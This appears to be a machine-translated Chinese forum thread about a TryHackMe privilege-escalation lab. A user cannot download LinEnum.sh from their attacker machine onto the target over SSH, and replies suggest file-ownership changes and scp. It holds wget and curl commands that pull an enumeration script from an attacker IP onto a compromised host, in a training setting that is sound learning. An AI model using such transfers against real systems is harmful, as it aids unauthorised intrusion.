我使用我的 Linux VM 机器,我连接到 THM 上的 openvpn。
我正在与已部署的计算机(Common Linux Privesc Room)进行 ssh 会话,我需要在那里安装 LinEnum.sh。
我在文件夹
python -m http.server 80
中创建了一个带有/root/Documents/server/LinEnum/
的服务器(我也尝试过8000)。
当我处于 ssh 会话时,我可以 ping 我的机器,但我无法使用
wget 10.11.29.97:8000:8000/LinEnum.sh
下载该文件,也无法使用 curl http://10.11.29.97:8000/LinEnum.sh --output LinEnum.sh
什么也没有发生,只需尝试 1,尝试 2,...
服务器:
SSH:
其实Tryhackme不给你下载文件。同样的事情我也困惑过很多次。如果您订阅并获得了 kalibox,也许您可以安装工具(我不确定)
(**您在攻击框中执行此操作,它不支持来自未知来源的写入权限**)
ping 有效,因为两个设备位于同一个 openvpn 网络上
也许有点晚了,但这是我的建议: 通常这应该可行,也许尝试不是 root 并让 LinEnum.sh 文件的所有者是 kali,所以不涉及 root 权限。
将文件所有者更改为kali的命令是:
chown kali LinEnum.sh
。
要将用户直接更改为 kali,请使用:
su kali
。
您也可以尝试使用
scp
命令直接将文件发送到服务器,但这只有在您知道该计算机上 ssh 用户的密码的情况下才有可能,但我知道这些是在那个房间里给出的.
尝试这样做,如果仍然不起作用,那么请回复此答案,也许我可以帮助您解决进一步的问题。
但正如我所说,它应该像那样工作,有时唯一不可能做的就是使用 wget 从 Attackbox 下载在线源。但我总是将 LinEnum.sh 从本地计算机发送到 ssh 计算机。